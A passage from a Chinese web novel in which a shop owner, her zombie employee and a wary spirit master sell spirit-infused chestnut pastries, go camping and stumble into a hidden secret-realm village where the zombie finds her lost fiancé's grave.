时愿鼓励她：“很棒，就是这样。” 千阑拿着面包回到院子里，继续盯着站在收银台后面的陶蓦回，心里五味杂陈。 收银而已，有必要高兴成这样吗？这种反应，简直就像，她真的很珍惜这种普通生活，想持续下去一样…… 被千阑打断，陶蓦回没吃上圣女果，看到千阑吃面包，那种可怕的饥饿感再次席卷而来。 陶蓦回不停地吞咽，两眼放光：“老板，我饿了。” 千阑差点咬到舌头，咽下嘴里的面包，把剩下的丢到桌上，警惕地看着陶蓦回。过家家游戏结束了，她终于演不下去了！ 时愿：“你想吃什么？店里的东西你都可以吃。” “我想吃……” 陶蓦回指向院子。 千阑一手紧握桃木剑，一手伸进斜挎包里，捏了张符纸。 要冲着他来了！ 陶蓦回看到千阑额头上的汗，觉得他一惊一乍的有些好笑，故意停顿得久了些：“想吃菜园里的果子。” “可以啊。”时愿说，“我摘一些去洗。” “我来就可以啦。”陶蓦回打伞去摘果子，在旁边的水池随便冲一下，就迫不及待地塞进嘴里。 轻轻一咬，丰沛的果汁在嘴里爆开，小番茄的香气充满整个口腔，她尝到了酸酸甜甜的味道，眼泪差点冒出来。 她已经太久没有闻到过食物的香气，太久没有尝到过食物真正的味道。冰冰凉凉的果汁滑过喉咙，她才感觉自己真的回到了人间，回到了数百年前，无忧无虑的某个晴天。 千阑看到陶蓦回急切地往嘴里塞圣女果，不知道为什么，心里有些难受。 她的演技可真好，尸毒改变了僵尸的味蕾和消化系统，她吃这些东西就像吃泥巴一样，应该很恶心吧。 陶蓦回的眼泪还是流下来了，饱腹的感觉让她脑袋晕乎乎的，分不清回忆和现实，她渴望地朝阳光伸出手。 “喂！”千阑喝了一声，陶蓦回惊醒，缩回手，但指尖还是被阳光烫出了一个水泡。 陶蓦回回头，千阑看到她满脸的眼泪，眉头重重拧了起来。 这僵尸，到底是怎么一回事啊？和师爷说的不一样啊！ 今天时愿没去青云山，也没去点心厂，所以楼嚣又来杂货铺摆摊了。 今天卖栗子。 苏烛看到楼嚣和那两个装狗的大妖，天线就竖起来了，当着他们的面扑进时愿的怀里，气得那两个大妖呲牙咧嘴的，敢怒不敢叫。 装狗，他也会！ 心机狗，绿茶狗，楼嚣在心里大骂苏烛。看到院子里僵持的两个人，楼嚣挑眉：“嚯，你店里一如既往的热闹。” 时愿喊陶蓦回过来，给他们介绍：“小陶，我店里的新员工。小陶，这是小楼总，和咱们店有合作，以后会经常打交道。” 陶蓦回收了伞，规规矩矩打招呼：“小楼总。” 店里一下来了三个大妖，这压迫感可不是开玩笑的。这三个大妖不仅对老板客客气气的，其中两个表现得还有些谄媚，老板还是太有实力了。 楼嚣看到陶蓦回黑长的指甲，略显僵硬的动作，和若有若无的尸气，沉默了好一会儿。 僵尸？ 有时候他真的怀疑，店主有收集精怪的癖好。 “他也是新员工？”楼嚣指了指千阑。 这人一看就是灵师，有点天赋，道行浅得很。 陶蓦回：“他是我前夫。” 她已经可以面无表情地撒谎了！ 楼嚣看着那灵师的脸蹭地一下红透了，忍不住大笑。 僵尸和灵师是一对？有意思，太有意思了。 楼嚣不愧是新晋网红，他一来摆摊，就带旺了杂货铺的生意，陶蓦回忙得不可开交，但她很开心。 打烊时间，时愿说，去锦鲤面馆庆祝小陶入职。 老板这么说了，那家店应该有僵尸能吃的东西。陶蓦回十分心动，但她还有事要解决，婉拒了：“老板，不用破费了，我想自己做饭。” 厨房塌了，但里面的东西已经抢救出来了，用电磁炉和电饭煲做饭完全没有问题。 时愿知道陶蓦回和她前夫有话要说，也没有坚持，只嘱咐陶蓦回锁好门，又给了她一小筐栗子。 “青云山特产，特意给你留的，你尝尝。” 时愿离开后，杂货铺的气氛瞬间降至冰点。 “你打算把我当成晚餐？”千阑提起桃木剑，冷声道，“有必要撒那种谎吗？” “我不打算害人，我知道，我说了你也不会信。我不想给老板添麻烦，你不放心我，要留下来监视随你的便。” 陶蓦回说完不再看他，去菜园摘了些青菜，打了井水，烫熟，小心翼翼地尝了一口，清甜的味道从舌尖泛开，眉头一下就舒展开了。 她狼吞虎咽，吃完一整盘白灼青菜。 一天能吃上两顿饭，陶蓦回幸福得想落泪。 她又开始处理老板给的栗子，她指甲长且锋利，轻轻一划就是一个开口。她烧水蒸板栗，馋得不停地舔嘴唇。 千阑觉得这僵尸很不对劲，他有一个很离谱的猜测：“你吃这些能饱？” “能啊。”陶蓦回舔了舔变长的犬牙，眉眼间尽是嫌弃和抵触，“放心吧，我对你的血一点兴趣都没有，你把脖子洗干净了送到我嘴边，我都不会咬。” 千阑：“……”虽然这是好事，但听她这样说，心里有点不爽是怎么回事！ 栗子的香味一出来，千阑的肚子也饿得叫唤起来。陶蓦回一颗接着一颗，吃得很香，千阑看着，觉得手里的面包不香了。 下山之前，他万万没想到，山下还有这种考验。 第72章 “老板, 昨天给你添麻烦了。”千阑朝时愿拱了拱手，“我有一事相求。” 看来小陶和她前夫还没谈妥啊。 时愿：“你说。” “我想留在你的店里帮忙。”千阑态度诚恳，“听说店里马上要翻新，我有监督老建筑翻新的经验, 体力活也能干。我不要工资, 只希望你能给我提供一个住处, 住在工具房也没关系。” “现在杂货铺是小陶在住。”时愿看向陶蓦回，“这得问小陶的意见。” 陶蓦回：“我没意见。老板放心，我和他会以工作为重，不会在店里乱来的。” 千阑：？ 这话听起来, 总觉得很怪。 时愿懂了, 小夫妻闹别扭, 前夫哥追妻火葬场呢。 他们是这个关系，陶蓦回又说不介意, 总不能真的让千阑睡工具房。杂货铺的主屋是联排的结构, 其实等于是两套房子, 每一套都有一个客厅和两间卧室。时愿给了千阑一床新的被子，让他去第二套房子住。 时愿观察了半天，陶蓦回已经基本熟悉店内的工作的, 可以独当一面, 和千阑的相处也变和睦了。 她放心地把杂货铺交给他们, 忙其他事情去了。 时愿刚走, 陶蓦回就把千阑拉到工具房，避开店里的妖怪们, 问千阑：“对了，你叫什么名字？我们得小心点，别露馅儿了。” 千阑：“……” 工具房空间有限, 他被陶蓦回按在墙上，觉得别扭极了。 很怪，真的很怪。僵尸和灵师不应该这样相处。 杂货铺的翻新有条不紊地推进，千阑在这方面果然很有经验，非常能干。他说不要工资，但时愿还是给他开了工资。 不用守着杂货铺，新品研发的事进度飞快，在大家的不懈努力下，月珏家的点心厂终于做出了让人赞不绝口的栗子酥饼。 第一批新鲜出炉的栗子酥饼上了杂货铺的货架，店门口贴上了显眼的广告。另外，时愿给杂货铺的VIP客户们都寄去了一份，一来维护客户关系，让他们尝尝鲜，二来，宣传一下新品。 楼嚣早早就来店里摆摊，今天不卖栗子，卖栗子酥饼。他破天荒开了直播，吸引来不少附近的人，专门来看看“网红”。 栗子酥饼可以试吃，镇上少有这种精致点心，看着新鲜，特意过来的、恰好路过的人都会忍不住停下脚步。 青云山产的栗子蕴含灵气，香味浓郁，试吃过的顾客都会被俘获。有新品折扣，多买划算，家里人多的顾客都是几盒十几盒地买。 摆渡人事务所也被栗子酥饼的香气所笼罩。 托店长的福，事务所很快就在业内打响名声，还获得了异管局的重视，有机会接一些重要工作，和灵师协会分庭抗礼。 今天是难得的休息日，更难得的是人很齐。 “我就是因为超级喜欢吃栗子，外号才叫栗子的，没想到有生之年，还能吃上灵气栗子酥饼。”灵师栗子捧着一块酥饼，眼里的幸福都快溢出来了，“老板，事务所的下午茶可以改成栗子酥饼吗？我天天吃都不会腻！” “已经在订了。”宋晚叼着一块酥饼，含糊不清地说，“腻了也得吃，这对提升灵力有帮助。不过，我觉得不等你们吃腻，时前辈就研发出青云山的新产品了。” 宋晚订的，不止是事务所的下午茶，还有家里和几个世交家族的份。店主也给宋爷爷寄了栗子酥饼，还没到，爷爷知道消息后，急得给宋晚连打几个电话，叫他赶紧预订，别到时候订不到了。 VIP客户们陆陆续续收到包裹。 一盒栗子酥饼共六块，胡戏文刚拆开包裹，连酥皮都没碰到，酥饼就被抢光了。 胡戏文怒：“你们都是土匪吗！” 祝知一口咬掉半块，眼睛唰地亮了起来：“美味！” 另一同事感叹：“青云山都开始卖点心了，还那么好吃，时代变了。” “是啊。”胡戏文说，“这应该是好的变化。” 祝知嚼嚼嚼，仔细品味，她的感知是局里最强的，吃完一整块酥饼后，她头皮发麻：“青云山的栗子在加工成酥饼后，可被吸收的灵气增加了。这个配方，超级厉害啊！” 同事：“是这样吗？我囫囵吃完了，都没注意到。主任，咱们能订多一些吗？我可以自己掏钱！” “不是能不能的问题，是必须订。”胡戏文和祝知搭档多年，很信任她的判断，目光严肃起来，“不然，你们猜一猜，长期以往，妖局的实力会和青云山拉开多大的差距？” 愿望杂货铺给他寄来这一盒试吃，分明是给妖局一个平等的机会！ 作为目前杂货铺的最大客户，夏音家也收到了杂货铺寄来的栗子酥饼。夏爷爷年纪这么大了，都忍不住尝了一个，吃完立刻拍板，这个月的寿宴的点心就用它了！ 蓬莱大学。 龙翻雪抱着一个大包裹来找舅舅。 池浔之在学校里有宿舍，蓬莱大学老师少，教师宿舍都是独栋，分散在山里，条件比学生宿舍好一些。 他让龙翻雪住进来，龙翻雪不想搞特殊，住在学生宿舍平时方便和同学切磋讨论。 龙翻雪拿出一盒又一盒的栗子酥饼，还有桂圩镇的特产：淡晒金鲳鱼干、大虾干、大瑶柱干、桂圆干…… 池浔之简直怀疑这不是个普通的快递盒，是个乾坤袋，一直拿都拿不完。 “都是姐姐寄的，让我们分一分。舅舅，我们一人一半，我的也放你这儿。” “你是想让我给你做饭吧。”池浔之一眼识破，蹙眉看着他的嘴唇，那里有一小片血迹，他说话也有些不自然，“你嘴巴怎么了？” 龙翻雪：“御兽课被撞掉了颗牙齿。” “你还能被撞到？” “帮同学挡了一下。” 池浔之点点头：“还吃得了酥饼吗？” “吃。” 几百米外，池浔之的“邻居”，丹药课的郑老师打坐结束，嗅觉惊人的她闻到空气中有细微的香味，她飘到池浔之的家门口，笃笃敲门。 池浔之挥手，门自动开了。 郑老师看到桌上诱人的酥饼，肚子咕噜直响。 池浔之：“不是研究出辟谷丹3.0了吗。” “太难吃了，没吃。”郑老师直勾勾地看着桌子上的酥饼，“我能吃一个吗？” 龙翻雪给了她一整盒。 郑老师吃了一块，眼睛迸发出奇异的光芒，握住龙翻雪的肩膀，语气很激动：“食材的灵气一点都没有流失，还翻倍了，这是谁研制出来的？当真是个天才！” “是我姐姐。”龙翻雪熟练推销，“老师，你喜欢可以多订几盒。” 郑老师果断道：“先给我订十盒，不，二十盒！” 她一定要找出其中的窍门！ 池浔之总算知道，龙翻雪为什么愿意和别人分享时愿给的东西了，原来是在帮时愿打广告。 栗子酥饼热卖，排单都排到三个月后了！ 这段时间大家都辛苦了，时愿打算带大家去庆祝放松一番。 行程都安排好了，突然接到吕老师的电话。 吕老师委婉地问，杂货铺重建得如何，什么时候能开展第二次研学活动呢？学生们已经望眼欲穿了。 时愿说：“刚盖好了厨房，还在施工中，花草虽然都没受影响，但院子乱糟糟的，小朋友们来了也没地方待。而且我打算去农场露营。” 吕老师看到了一丝希冀：“是哪个农场呢？” “在千雨市，空山雨农场。” 吕老师查了一下，空山雨农场有专业的露营营地，有三十几个露营位置，还提供帐篷，可以在农场过夜。 旁边的阵学课老师看到了，连忙道：“我们也去！我们可以自己组织好活动，不会给前辈添麻烦。” 这个农场面向溪快山，那座山也有个传说，据说跟着山里的小溪一直走，就能找到秘境入口。 秘境肯定是找不到的，但是那边的风水是值得研究的，地形也非常适合教学如何顺应地势布置大阵。 露营结束后，他们再跟着前辈回杂货铺参观。他们根本不介意杂货铺还在装修，站着参观也乐在其中！ 老师们都这样说了，时愿没有拒绝。这个露营农场的老板是杂货铺的老顾客，之前来杂货铺收集了很多银杏书签，这次超强台风过境，他的农场平安无事，损失几乎可以忽略不计。他认为都是那些书签的功劳，很感激时愿，一直邀请她去农场玩，要免费招待她和她的家人朋友。 老板是爽快大方的人，吕老师也是个好脾气的人。蓬莱大学组织学生去农场研学，对双方都有好处。 时愿从中牵线，农场的老板给蓬莱大学安排好了一切，还给他们很低的折扣。 这次带队的老师是齐主任和阵学课老师，都是二年级和四年级的学生。 蓬莱大学的巴士直接开到农场，和时愿在农场集合。 龙翻雪作为能在时愿面前能说得上话的人，也被齐主任拽上大巴车了。 时愿自驾过来，月珏坐副驾驶，陶蓦回和千阑带着小金毛和小橘坐在后排。楼嚣和玉盘开一辆车，本来还邀请了面包店的老板和点心师，但是他们都没空。 汽车抵达农场，把自己裹得一点皮肤都没露出来的陶蓦回撑开伞，兴奋得连“哇”好几声：“风景好美啊！” 僵尸居然因为露营而开心，简直离谱。千阑打伞，遮住陶蓦回暴露在阳光下的脚后跟。 阳光又消灭不了她，要是晒出一堆水泡，吓到别人就不好了。 龙翻雪看到时愿的车，脱离队伍快步跑过来。 跑得太急了，伤口又开始流血。 时愿吓了一跳：“翻雪，你流血了。” “上课的时候撞掉了一颗牙。”龙翻雪突然觉得有点丢脸，说话不敢张大嘴巴，赶紧把血蹭掉了。 这颗牙齿死活长不出来，烦。 陶蓦回能看出来，这白毛少年是妖。她心想：真想把我的牙齿分给你啊！天天晚上都要拔牙的痛，谁懂！ 第73章 营地提供的都是充气帐篷, 搭建难度不大，可以选择自己搭，也可以请农场员工帮忙。 来都来了，时愿和学生们都选择亲自动手。时愿有经验, 三下五除二就搭好了和月珏的帐篷, 又去帮其他人。 农场有很多体验活动, 可以去菜地摘菜，去果园摘果子，这边的柚子都已经成熟了。营地提供户外烹饪工具，农场商店可以买到新鲜的肉类和鱼鲜, 户外做饭便捷是这边的一大特色。 学生们可能学习压力太大了, 好不容易放松一会儿, 特别兴奋，嚷嚷着要去摘菜摘果野炊。 齐主任被吵得头疼, 只能把课程放到一边, 带他们去菜地。 齐主任已经很多年没有带研学课了, 这一路累得够呛，和阵学课老师吐槽道：“都二年级和四年级了，怎么一点都不稳重, 这是我带过最闹腾的两届学生, 跟小学生似的, 还不如一年级那个稳重呢。” 阵学课老师：“人家那是要跟着家长呢。” 龙翻雪没跟学校一起行动, 时愿和月珏要去爬山，他跟她们一起, 给她们背包。 陶蓦回是时愿的小尾巴，也要跟着去。千阑要监视陶蓦回，自然没得选择。 楼嚣和玉盘不去, 他们尝到了做生意的甜头，一心想着把青云山做大做强，对农场的管理和经营模式很感兴趣，在和农场老板热聊。 溪快山风景很好，时愿牵着猫带着狗，爬得还算轻松，月珏爬到半山腰就累趴了，要求原地休息。 休息了一会儿，吃了烤红薯面包，月珏说实在爬不动了，耍赖要去看瀑布。 时愿没有非要爬到山顶的打算，同伴的感受和沿途的风景才是最重要的。问了其他人的意见，最后决定改道去看瀑布。 从这里过去，要走一段小道，一路上都没碰到其他游客，就快到的时候，小金毛停下脚步，看向某个方向，时愿跟着停下来，听到林子里传出虚弱的呼救声。 “那边有人在喊‘帮帮忙’。”时愿指了个方向，“听着是个老人的声音。” 月珏茫然：“我没听到。” 千阑：“隐约听到一点。” 陶蓦回：“要过去吗？” 月珏没听到，千阑听到一点，她和老板听得很清楚，求救的大概率是山中的精怪，是真的遇到麻烦还是陷阱未可知。 时愿：“去看看。” 苏烛冲在前头，进到林子深处，只见一个老婆婆倚靠大树坐着，小腿上缠绕着许多荆棘，有的尖刺扎进了肉里，她不知道待在这里多久了，血迹都干涸了。 苏烛能看出来，老婆婆不是人类，但却看不出她是什么精怪，她身上的气息特别的平和。 困住老婆婆的荆棘他倒是认识，他在训练塔看过相关记载，这是千年棘，平时潜伏在底下，隐蔽气息，悄悄接近精怪，或者蛰伏在精怪的必经之路上，一旦缠上，就会把目标牢牢困住，花上百上千年去消化。 有时候，它们还会利用被困住的猎物当诱饵，控制猎物发出呼救声，吸引来新的猎物。 比如现在。老婆婆看到他们，脸上没有一点喜色，反倒是很紧张的样子。她张了张嘴，却发不出声音。 千年棘的根系肯定已经从地下悄悄伸过来了。 但没关系，千年棘也有天敌。 时愿走向老婆婆，她身后浮现一盏红色灯笼，火殃的气息顷刻向四周铺开。 此火，可烧万物。 千年棘来不及撤回缠绕着老婆婆的那部分身体，只能断尾求生，灰溜溜地跑了。 火殃追了上去。 千阑瞳孔地震！这是他第一次看清火殃的真身，更是第一次确认，杂货铺的老板不是普通人！ 老板是主动收留陶蓦回！ 那些荆棘很粗，扎得有点深，时愿不敢拔，手上又没有剪刀。她准备打救援电话，老婆婆竟然直接上手，把荆棘生生扯掉。血哗啦啦地流，她眉头都不皱一下。 “谢谢你呀。”老婆婆对时愿笑了笑，“我家就在山下，沿着小溪一直走就到了，你们可以背我回去吗？” “我先帮你包扎伤口。”时愿包里有绷带和应急药物。 “姐姐，我来。”龙翻雪帮老婆婆包扎好，顺手就把她背了起来。 老婆婆指路，他们从小路下了山，没走多久就到了一座古村落。 这边有几座古村，网上说保存得很好，文旅做得不错，但位置偏僻，并不热门。 老婆婆在村子里很有地位，他们刚进村子，就有人急急地跑过来。 “静玲婆婆，你怎么才回来？我们都急死了！” “有血的味道，你受伤了？” 有人闻到微弱的尸气，警惕地看向陶蓦回，目光变得不太友善。 “小伤，别大惊小怪。”静玲婆婆抬手拍了一下盯着陶蓦回的村民，“是这几位救了我，别磨磨蹭蹭的，让人去丹药阁拿些伤药去我家。” “多谢你们！换我来背。”一个壮硕的村民背起静玲婆婆，另外几个村民跑去拿药。 村民背着一个人，依旧脚下生风。时愿要小跑才能跟上他的脚步。 路上商铺的人纷纷出来，和静玲婆婆打招呼。 月珏这会儿倒不嫌累，边跑步边和时愿说：“这里确实……很有特色呀……村民们都穿……当地的服装……还有好多小动物……等会儿我们逛逛再、再回去吧。” 时愿说好。 跑去拿药的村民比他们更快到静玲婆婆家，还拽着一个背着药箱的老头。 老医生解开绷带一看，血已经止住了，嘟囔道：“这不是没我的事了吗？” 院子里乱哄哄的，都是来探望的村民。静玲婆婆把他们赶走，拉着时愿的手说：“我有一样重要的东西掉在水井里了，我捞不上来，你们可以帮帮忙吗？” 顺手的事，时愿答应了。 龙翻雪说他去捞，挪开井盖，他看到水里有什么东西在闪闪发光。他把水桶抛下去，试了几次，都没能捞到。 这东西，好像有意识一样。 “我来试试。”时愿接过水桶，丢下去后，看准了再捞起来。 水桶有点沉，苏烛叼着麻绳帮她分担。 时愿把满满的水桶放到旁边，伸手捞起一枚吊坠，不知道是什么材质，既没有沉到底，也没有浮在水面上。 时愿问：“静玲婆婆，这是你要找到的东西吗？” “是，就是它。”静玲婆婆满脸笑容，“送给你了。” “这不是很重要的东西吗？我不能收。” “你捞起来的，就是你的。”静玲婆婆拿出一张叠起来的纸张，“这是我们村的地图，你们去玩一玩吧。” 时愿展开地图，龙翻雪看到“百溪村”三个字，懵了一下。 百溪村，不是传说中藏匿在溪快村的小秘境的名字吗？ 他本来以为，这里是与世隔绝的妖怪村庄，难道说，这里就是秘境？ 老师怎么说的来着，沿着山里的某条小溪一直走，就能找到秘境…… 他们是被静玲婆婆带进来的。等一下，静玲……境灵？！ 跟着姐姐，真是随时有奇遇。 百溪村连地图都很古风，村子很大，景点也多，时愿问：“你们想先去哪？” 月珏：“先去吃东西！来的路上看到了好几家餐馆，快被香晕了。” 在山上吃的烤红薯面包，早就在路上消化完了。 陶蓦回：“支持去吃东西！” 这里一看就有僵尸能吃的东西！ 龙翻雪：“我想去丹药阁看看。” 老医生来的时候，药箱里有很多灵药，他想去碰碰运气，找到能让牙齿快点长出来的灵药。 千阑没说话，他认为他的意见不重要。 时愿：“先去吃饭，再去丹药阁。” 静玲婆婆笑着提建议：“吃饭可以去主街的珍馐馆，味道很好哦。” 珍馐馆的菜单很丰富，什么菜系都有，他们点了麻婆豆腐、辣子鸡丁、开水白菜、烤乳鸽、清蒸桂花鱼和猪肚鸡汤，给小猫小狗点了水煮鸡肉。 但端上来的菜摆满了整张餐桌，有好多时愿叫不出名字的菜。 时愿和店员说：“上错了吧，我们没点这些。” “没错，这是我们店请您吃的。”店员笑眯眯的，“多亏您救了婆婆，今天您在村里的消费，全都免了。” 不给时愿拒绝的机会，店员迅速撤了。 静玲婆婆的推荐很靠谱，这家店的水平堪比锦鲤面馆，大家都吃撑了。 陶蓦回感动得眼泪汪汪：“我今天过得太幸福了。” 这些菜她都能吃！虽然灵气比杂货铺的蔬菜差很多，但味道好弥补了这一点。 月珏摸摸肚子：“我也是。没看到瀑布，但收获了美食！” 丹药阁居然是一座塔。 陶蓦回讨厌塔，看着它就昏昏欲睡。 入口站着两个人，女生说：“你们每人可以带走任意一瓶丹药，请进。” 赠送的周边？ 一行人进入丹药阁后，大门自动关闭。 守门的男人问：“他们不是婆婆的救命恩人吗，怎么不阻止他们？三个普通人，一具吃素的僵尸，一个乳臭未干的小妖，还不够守塔兽塞牙缝。” 女生：“婆婆说，百溪村的全部地方都对他们开放。” 男人皱眉：“真搞不懂婆婆是什么意思，我可不想洗地板。” “忘记和他们说一声了。”时愿拍了张百溪村地图，发在这次的研学群里。 [愿望杂货铺]：我们在百溪村，挺好玩的，已经在这边吃过午饭，你们感兴趣也可以过来。 她并不知道，此时此刻，被她从井里打捞起，又放在背包里的那颗石头，发出了强烈的光芒。 第74章 二年级和四年级的学生们, 在来农场的路上，想象过新守枫的样子。 有人说，她的气场一定很强，没有人能在她面前站得稳。有人说, 她连修仙世家的人和齐主任都敢训, 性格桀骜, 不好接近。有人说，她是比现任守枫还要厉害的大妖，必定容貌昳丽，能蛊惑人心, 千万不能和她对视。 学生们擅自想象, 给时愿贴了各种标签, 在看到真人的时候，发现和他们的想象差距甚远。 容貌昳丽是没错, 但是她身上一丝妖气都没有, 气质低调到让人忽略她的容貌。而且脾气也很好, 看着和邻家姐姐一样。 他们从来没见过这种妖，学生们忍不住想，这和传说中的形象完全不一样。 不是论坛的人在夸大其词, 就是新守枫隐藏得太好了。 前者让人失去兴趣, 后者无法判断。因此, 学生们的注意力从时愿身上, 转移到了农场的各种体验活动上。 新建的研学群很热闹，刷到时愿发的消息时, 所有人都静止了，没有人再敢水群。 百溪村，不就是传说中的这一带的秘境吗！时愿进秘境了？ 齐主任高度重视, 让所有人回帐篷区集合。 一位四年级的学生道：“新守枫建议我们去百溪村，但是又没有指路，她是想告诉我们，百溪村是存在的，让我们自己去找入口？” 另一人道：“也可能是在开玩笑。” “你以为时前辈和你们一样幼稚？她不会开这种玩笑。”齐主任板着脸道，“你们对她的能力一无所知。” “主任，我觉得你是对的，你看那里。”阵学老师还没指明方向，齐主任已经注意到了，这一排最边缘的咖啡色帐篷有强烈的灵力波动。 齐主任示意阵学老师一起去调查，两人透过一扇卷起来的观景窗看到，帐篷里面有一扇悬浮的木门。 古朴的木门上雕刻着“百溪村”三个字。 “这是时前辈亲手搭的帐篷。”阵学老师说，“看来她早就安排好了，要带我们进秘境。” 齐主任：“让孩子们过来吧。” 学生们过来，看到悬浮传送门，顿时“哇”声一片。 这扇门就是最有力的证据，新守枫只是在隐藏实力！这比霸气侧漏的类型更让人敬佩。 上坡，集装箱咖啡厅里，农场老板好奇地往外看：“小楼啊，是不是有人在‘哇’？我这里看不见啊。” “小朋友没见过世面，大惊小怪而已。”楼嚣说，“别管他们，继续讲你的创业故事。” 农场老板：“我当时年薪几十万，毅然决然辞职，回来创业……” 听了五遍这个开头的玉盘：“……” 小楼总，你才是那个没见过世面的妖。 “我们对百溪村的了解，只有时愿前辈发的一张地图。以她的实力，她口中的好玩，对于你们来说可能是要命的危险，也许有去无回。”齐主任问，“你们要进去吗？” “当然要！” 学生们异口同声地回答。 机会难得！秘境之门就在眼前，哪个修士能拒绝？ “好。”齐主任双手结印，直接下了个封口禁令，“时愿前辈找到百溪村秘境的事，要保密，不得发在论坛，不得和任何人说起。” 秘境里面有大量稀缺资源，要是消息传出去了，仙门各大势力一定会不择手段争夺时愿，这对蓬莱无益。 齐主任看向阵学老师：“我带他们进去，你留在这里守着传送门，别出什么岔子。” “好，我给您开门。”阵学老师握住门把手，突然原地消失。 学生说：“齐老师，阵学老师好像被传送进秘境了。” “……”齐主任在心里咆哮，谁让你开门了？我想进秘境！ “齐老师，那我们也先走了。” 学生们迫不及待，一个接一个进入秘境。 最后一个学生离开后，传送门似乎知道没人要进了，也消失了。 齐主任独自守在空帐篷门口，突然觉得自己有点像空巢老人，十分凄凉。 好消息是，全部人被传送到了同一个地方。 坏消息是，秘境里的灵气浓度太高了，他们呼吸不顺，身体动弹不了，只能在阵学老师的指导下，就地打坐。 在他们打坐的时候，街道两边的屋顶上出现很多精怪，虎视眈眈。 有很多人从房屋里出来，他们身上的服饰款式特别，释放出危险的气息。 秘境里面怎么会有街道？ 这些原住民是人还是妖？ 不会刚进来就要挂了吧！ 原住民步步逼近，学生们想逃却逃不了，越着急，气息越乱，破绽越多。 “咚、咚、咚……”心跳声在敲击耳膜。 “咚、咚、咚！” 楼上每响一声，头顶的木板也跟着震动摇晃，抖下一片灰尘。 这个动静，简直像有巨兽在上面行走。当然，这只是个比喻，大概是有谁在上面修理楼上的地板吧，上面有一个大洞…… 时愿的念头被打断了，她看到一只兔头从头顶的大洞中探出来，粉红色鼻子嘴巴一动一动的。 兔子挪了一下位置，用玩偶一样的眼睛往下看，时愿可以看到它浓密的眼睫毛。 身后响起倒吸冷气的声音。 白树生的耳朵往后飞，做出了攻击姿势。 是犼！ 丹药阁里面有一只犼！ 犼的外貌和兔子没什么差别，耳朵尖且长，别看它体型小，狮子见了它都得跑，十分凶残！ 白树生一警戒，楼上也响起指甲磨地的声音，犼眼中浮现杀意，泛起红色。 “好可爱。宝宝，太可爱了，你小心点别掉下来。”时愿和其他人说，“我上去看看，你们在这里等着，别让它掉下来摔着了。” 修地板的人去哪儿了？怎么让兔子乱跑，真不靠谱。 犼在一声声“好可爱”和“宝宝”中迷失自我，眼中的杀意消失得一干二净，在时愿上楼的时候，飞奔向她。 为了装可爱，也不拆塔了，把脚步放得比猫还轻。 苏烛：“……”我就知道。 苏烛跟上楼的时候，那只犼已经趴在时愿怀里撒娇了，看到他的时候，一脸的得意挑衅。 这些精怪一遇到时愿，马上就变得茶香四溢。 时愿没找到修地板的人，只看到一堆乱糟糟的木板和木屑，她找到一扇屏风，把洞挡住了，顺便喊其他人上来。 “太可爱了吧。怎么把兔子养在这里？”月珏摸摸兔毛，惊呼，“好柔软好蓬松！” 犼彻底迷失自我，跳到地上，把这一层所有的好东西都叼到她们面前，让她们随便拿。 塔外，守塔的男人侧着耳朵：“里面怎么一点动静都没有了，这么快就吃完了？犼吃饱了就不会动我们了，现在进去？” 女生道：“没有惨叫声，也没有打斗声，很奇怪。” “全都一口吞了？”男人摸摸下巴，“这么多年没吃过新鲜的，也难怪，只是多少会觉得有点对不起婆婆的救命恩人……” 门被推开了，男人以为是犼来催他们打扫，回头看到柔柔弱弱地趴在时愿怀里的犼，男人惊吓得差点尖叫。 这这这这是什么情况！ 女生察觉到了异常，没设想过是这种情况，一时之间也愣住了。 时愿：“这只兔子是你们养的吗？它不肯下来了。” 时愿放下兔子，它立刻又黏到她身上。 守塔人从来没处理过这种情况，瞥了眼犼的眼神，商量道：“它想跟着您出去玩，您可以带着它吗？不方便的时候，再使唤村民将它送回来。” 他都这样说了，可见村子安全系数高，不怕兔子跑丢。时愿让翻雪打开背包，道：“这五瓶丹药是我们选的纪念品，可以带走对吧？” 这个小瓶子太精致了，时愿一眼相中。 这五瓶药分别是美颜丹、辟谷丹、聚气丹、万愈丹和长生丹。 丹药阁里的药全都没有贴标签，只能靠本事找，其中万愈丹和长生丹是镇阁之宝，他们在短短时间内找齐了。 守塔人没话说了，态度越发恭敬：“请。” 他们在街上闲逛，路过一处占卜馆，在门口摆摊的女子看到他们，突然用扇子指着陶蓦回说：“姑娘，你可是在等人？” 这台词新鲜，时愿想，比“我观你印堂发黑”好。 陶蓦回神色一变，走到摊位前，摘下翡翠耳环放在桌上：“有何指教？” 女子用扇子将耳环推回她面前：“西街尽头，故人重逢。” 陶蓦回还想再问，女子闭上眼睛：“天机不可泄露。” 陶蓦回对刚才的占卜深信不疑，想去西街，时愿觉得，去一趟也无妨，要是不准，陶蓦回自然就对这些失去兴趣了。 西街的尽头，居然有一座墓。 墓的旁边就是墓主人的故居，墙上刻着他的生平。 此人曾经是一名灵师，为所爱动用禁术，被逐出师门。痛失所爱后，他过得浑浑噩噩，终日酗酒，求死不能，于是到处斩妖除魔，一日坠下山崖，醒来已经在一处名为百溪的秘境中。此处风景甚美，他想起和未婚妻的约定，决定将此处打造成桃花源。此人花了一百多年的时间，凭毅力获得百溪生灵的信任，说服它们一起建造村庄，这就是百溪村的由来。 此人不肯说他的姓名，当时的百溪生灵唤他无名。 陶蓦回读完，已泪流满面。 这位无名氏，就是她的未婚夫。 在封棺时，他和她约定，等到重逢，要找一处没有人会用异样眼光看他们的地方生活。 找不到这样的地方，他就亲手造了一个。 他没有失约，是她来晚了。 第75章 “没有婆婆带路, 这些人是怎么进来的？” 百溪村的村民们将动弹不得的学生们团团围住。 “人数这么多，只有一种可能。”村长说，“有人打捞起了启境石，这个人就在救了婆婆的那群人之中, 秘境的‘钥匙’出现了。” 百溪秘境是个小秘境, 和自成生态的大秘境不同, 它需要定期开放，让灵气流通，才能生生不息，否则就会逐渐萎缩。 五百年前, 启境石不知何故沉入百溪, 秘境封闭至今, 面积已经萎缩了一圈。再这样下去，他们全都得陪着秘境一起消失。 唯一能出去的境灵婆婆破釜沉舟, 只身冒险去寻找机会, 一去就是几十年。 村长让人给学生们喂了丹药, 他们身体里的灵气重新流动，四肢能动弹了。 “你们是被启境人邀请来的吧。”村长说，“既如此, 你们便尽情地探索秘境吧。” 从他们进入秘境开始, 灵气已经开始流转了, 这位启境人可以筛选进入秘境的人选, 能力可谓出众。这样一来，百溪秘境不仅摆脱了消亡的困境, 还不用应付野蛮贪婪的探索者。 “他们说的‘启境人’是新守枫。” 学生们窃窃私语。 